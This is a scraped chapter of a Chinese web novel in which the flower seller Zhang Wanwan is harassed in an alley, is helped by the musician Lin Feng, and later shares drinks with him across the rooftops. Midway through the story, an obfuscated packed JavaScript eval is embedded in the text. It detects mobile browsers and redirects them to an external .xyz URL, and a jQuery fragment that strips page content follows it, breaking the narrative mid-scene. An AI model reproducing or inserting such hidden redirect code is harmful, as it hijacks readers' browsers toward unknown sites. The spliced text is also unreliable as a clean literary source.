默认冷灰
24号文字
方正启体

1. 桐城初遇

作者:松月与猫本书字数:K更新时间:
    夜色漆黑,南方的一座小县桐城里,暗巷交错纵横。巷子里的贫民拨弄着廉价的油灯,捣鼓出几簇微弱的火苗。那火苗晃晃悠悠,在这深巷里将灭未灭。


    一街之隔的醉仙楼却是一副灯火通明的景象。各色花灯亮如白昼,极尽奢华。那是连打更人路过时,都要多看两眼的,人间销金窟,醉生梦死场。


    至暗和至明两种场所,就这么和谐又诡异地共存于桐城这一方天地。


    “晚姑娘,今天的野百合很新鲜啊。”一个身穿淡紫色纱裙,梳着单边垂髻的姑娘站在醉仙楼门口,香肩半露,玉指纤纤,正用心挑选篮子里的花。


    “是不错。拿水养上一个时辰,花开了满屋子都是异香。簪一朵在鬓间,头发丝也能沾染上这香气。我那恩客,就好这一口呢。”旁边一个身穿翠绿心字罗衣的姑娘捂嘴一笑,举手投足净是不可言说的媚意。


    “秋声已至,叶落花飞。山间百合凋谢,往后大约是再无此花可送。”那提着花篮的姑娘,被花香熏得微微皱了皱眉头,低声说道。待两人挑选完,她便又把篮子一边的纱布重新盖回。


    “好可惜。不过这时节,秋山茶也快开了,晚姑娘可以给我们送些来。”


    “好,下次给你们送茶花。”


    “好看吗?”心字罗衣的女子纤指轻动,掐下一朵百合别在发尖,对同伴抛一个媚眼。


    “好看好看,人比花娇,丽色照人!”穿淡紫纱裙的姑娘笑答。


    青丝绾成各种形状,配以珠钗发饰不说,醉仙楼的姑娘们还要特意簪上朵花。仪容千娇百媚,可令暗夜生辉。


    两个姑娘付了钱,心满意足捧着一大捧野百合走回楼里。入门时不经意回头看了一眼依旧站在原地,神色淡淡的张晚晚,互相咬耳朵偷笑道:“真是个呆姑娘!”


    张晚晚提着花篮,穿最普通的麻布衣服,脸颊还带着些采花时沾上的泥土,恰好站在暗巷和醉仙楼的分界线上。


    她整张脸面无表情,秀气的鼻尖被夜风吹得微红。只有一双杏眼,在花香中微微眯起,于夜色里,露出一点点琥珀色透明的迷茫无害来。


    掂量了一下手中的二十文铜钱,她转身离开。心里计算着,还差一些。


    于是她带着未卖出的百合,和特意留下的两枝红山茶,决定直接穿过错杂的暗巷,去五条街外的教坊司门口碰一碰运气。


    暗巷夜间基本上没有行路人,因为——


    “站住!”一个粗粝的嗓音在黑暗中响起,伴随着另一声被推开后矫揉造作的嗔怪:“哎呀官人!你怎么亲到一半不理人家了。”


    暗巷尾街的出口处,一个嫖客正压着个姑娘抵在墙上撕咬。


    张晚晚默不作声地走着,本想就这么穿过暗巷,可是被叫住了。


    “滚!”那嫖客甩出一粒碎银,把女人打发走,颇为惊喜地朝张晚晚走来。


    “官人下次再来啊!”女人得了银子,也不多言,转身走进幽深的暗巷之中。


    “哟,这是哪家的小姑娘?”那嫖客面貌寻常,却长了一双鼠眼,滴溜溜转个不停。因吃醉酒,脸色像泡发的猪肝。


    他搓着手上前,急切地看向眼前这个柔柔弱弱的女子。如同盯着一堆荤腥不忌的杂炖里,忽然呈上来的清粥小菜——清新,别致,令人胃口大开。


    他夸张地吸了口气,闭上眼品匝回味,一脸贪婪:“好香啊!”


    张晚晚有些不悦。她缓缓收回目光微低下头,一动不动地看着自己的兰花鞋尖。一丝碍眼的线头翘起。


    嫖客看着她低头的模样,不知怎的觉出一股娇羞来,于是色心大起,忍不住向张晚晚跨了一步。


    “夜深不过暗巷”是桐城居民约定俗成的规矩。在这纵横不过各五条巷子的三不管之地,曾发生多起女儿家失身殒命的案子。


    穷人命贱,父母大多不愿把女儿受辱的尸体领回家让邻里指指点点。遇到这种案子,桐城县令也是能躲则躲,命捕快照旧例将那受害人尸体用草席一裹,再丢到那野坟堆,也就一了百了了。


    “小娘子,你别害怕啊。清景无限,良宵难得。何不同枕合卧,共赴巫山呢?”那嫖客认定张晚晚没法逃走,说话愈加大胆放肆。


    张晚晚右手蜷握,衣裙袖纱微微晃动。


    “王公子既然来到教坊司这风雅之地,不如屈尊到舍下小酌一杯?”一道清清冷冷的声音在不远处响起。


    张晚晚重新抬起头。十余米外,一个提着灯笼,身形颇为雅致的白衣公子信步而来。


    嫖客的身份被叫破,一时心下恼怒。没待看清人,便脱口骂道:“小白脸打哪儿来?夜深行路,管甚么闲事!”


    “鄙人卑贱,不足挂齿。虽没什么见识,但对桐城入赘王公子‘极度爱妻’之名,还是略有耳闻的。”那公子一边走近,一边不慌不忙地说着。


    他脸上带了点笑意,眼神却是冷冷的。


    嫖客眼中露出些奇异的闪躲。他生硬地遮脸否认:“老子,老子姓李,不姓王。一个臭伶人,演什么英雄救美的戏码!”


    嫖客最后咬牙切齿地看两人一眼,不甘地离去。


    “姑娘没事吧?”那公子在距她两三米处停住,关心地问道。


    张晚晚于暗巷的幽深中抬头,慢吞吞打量此人。


    这男子十分挺拔清雅。他身着纯白色玉锦长袍,下摆处绣有一簇墨竹。墨竹的竹节却是由金青双色绣线勾成,别有韵致。腰间横挂一支坠有碧玉玦的褐色竹笛。玉簪挽发,如同翩然而至的竹林雅士。


    “有瑶林玉树之姿。”张晚晚看着这人苍白的脸,在心中道,“可惜是个短命鬼。”


    她低头将花篮举起,只露出一双平静的眼睛:“我没事,多谢公子相助。公子,你要买花吗?”


    那公子揭开白纱,轻轻一笑:“教坊司这两日倒是需要些新鲜花朵装点。这两枝半开的红山茶很美。余下的百合也可一并给我。”


    张晚晚将花朵扎成一束后递出:“百合五枝十文,早季山茶每枝五文,一共二十文。”


    男子多取出二十文铜钱交付,道:“我名林枫,是刚来这教坊司的竹乐先生。可否劳烦姑娘未来一旬,再送些鲜花来。这是订金。”


    张晚晚点头应下。


    “有劳。”林枫说完,又看着眼前有些迷茫柔弱的人,状似无意笑道,“夜深路险,姑娘下次可早些出门,走正街过来。”


    “多谢公子。”


    “在下告辞。”林枫拱手告别,背影翩然,墨竹长袍被风吹起一角。


    张晚晚目送男子走进一座高楼。那楼子的檐角处挂着一串风铃,牌匾上“教坊司”三个大字异常醒目。


    不同于暗巷的极黑,也不像醉仙楼亮如白昼,这座教坊司只在道路两旁的灯台上挂几盏灯笼,显得节制又肃穆。和林枫通身的气质一般,清雅端庄。


    张晚晚知道这男子——乐师林枫,桐城县特地从陵州教坊司请来,负责教授官伶的器乐大家。


    从醉仙楼姑娘口中,张晚晚曾多次听到他的名字。大多都是在谈论这位林公子如何俊雅脱俗,如何天赋异禀,擅引商刻羽。今日一见,确实不凡。


    不管是外来的乐师,还是用心苦想新妆容的姑娘,都让张晚晚感受到了桐城中弥漫的喜悦气氛。


    三年一度的盛节——月神祭,即将到来。


    她收起空竹篮,看一眼林枫所指近在咫尺的正街,又看了看身后的暗巷。果断选择走入幽暗之中。


    “小娘子,让人好等!”那姓王的嫖客从未离开。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405333|184432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    张晚晚站在暗巷之中,对着身前醉醺醺的嫖客,右手微动……


    黑暗之中,影子无需躲藏,生长得肆意又嚣张。


    张晚晚回到了暗巷之中的住房里,比往常略晚一刻。


    她和贫民区这边的人一样,在木桌上点起一盏黑烟袅袅,光线黯淡的油灯。随即专注地盯着那簇火苗发呆。


    火苗东倒西歪,将灭未灭,十分有趣。


    看了一会儿,张晚晚拿来打湿水的布巾,将脸上的泥污擦掉。柔弱的火光映出她的面庞,五官标致,秀丽非常。


    “对了!”放空的眼神重新聚焦,她熟练地拿一碟醉仙楼姑娘给的脆壳花生,并一壶桂花酿,一跃出门来到院中。


    暗巷里的房子大多窄小,这方宅院中却有一棵长得很高大的悬铃树。


    树的叶子几乎已经掉光。


    张晚晚一跃便轻巧上了树。便找个舒服的姿势靠在树干随意远望,任发丝胡乱飞舞。


    秋风凉习习,吹动一城的悲欢喜乐,吹动万家的莹莹灯火。


    隔着几条暗巷,醉仙楼的灯火倒是一如既往地明亮。张晚晚忽的想起今日见到的教坊司,便好奇地转头。


    下一秒,她就看到了在教坊司楼上挂栏远眺的男子。


    那男子眸色漆黑,死死地盯着虚空中的某处。薄薄的白色袍子被高楼的风吹得凌乱无章。只有那脊背,瘦弱又坚持地挺立着。


    她下意识地解读这个人,然后下了定论:往事如牢,诸业加身,恐难得自由。


    一颗花生米被放进嘴里美美地咀嚼。


    寒风拂脸,令人清醒。那男人呆坐了一会儿,便从栏杆下去。然后他目光一转,看向倚在光秃大树上喝着酒,也不知已观察了他多久的张晚晚。


    距离产生美。看不清彼此的面目,倒最适合袒露彼此的真面目。


    男人忽然温柔地笑了,眼底略带着一些残留的灰暗。那笑容灿烂,使他苍白俊秀的脸变得生动起来。


    张晚晚倾着酒瓶往嘴里倒了一口酒,没有理会他的笑。


    对面楼上的那男子却像是寻到什么极有趣的事情,转身从屋子里拿出一瓶陈年女儿红,并一盘瓜子,也放置到栏杆上。


    然后他独倚高楼,长袍翻飞。就这么模仿着张晚晚的动作,一颗瓜子仁一杯酒,邀月共饮。


    白袍墨竹,风度翩然。除了乐师林枫,还能是谁?


    嗑瓜子声与咀嚼花生的声音,融汇成一股微小又契合的韵律。


    两个人就这样隔着几十米,隔着好几户人家的住宅,成了对坐吃喝的邻居。


    不多时,远处一声清响——林枫竟然尝试给她掷了一颗瓜子。


    结果毫不意外地,那瓜子中途乏力,落入别人院中,砸在了庭院的青石板上。


    张晚晚看到他自顾自叹了口气。


    正此时,秋风刁钻地吹起他的袍袖。


    一大片青紫的皮肤裸露在空气里,落进她眼中。


    伶人以美仪态,妙音律闻名,对身体肌肤更是极为看重。林枫这伤来得突兀。


    似乎是感受到了同饮人定住的目光,林枫不自然地缩回双手,眼里聚拢的光又消散了。


    张晚晚一顿,吃花生米的节奏被林枫的失落打乱。于是她尴尬地调整了一下坐着的姿势。


    待花生吃完,酒也喝完,差不多过去小半个时辰。张晚晚拍拍手掌,麻利地从树上跳下。而后手指微弹,一颗花生便稳稳地飞向林枫的绮竹轩。


    也不管那人的反应,张晚晚满意地回到自己的卧室,解衣欲睡。新订做的被子蓬松柔软,掖住一角搭在腹部,全身渐渐有一股温暖升起……


    栏杆旁,林枫小心地捏着那颗未剥壳的花生,嘴角微微翘起……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)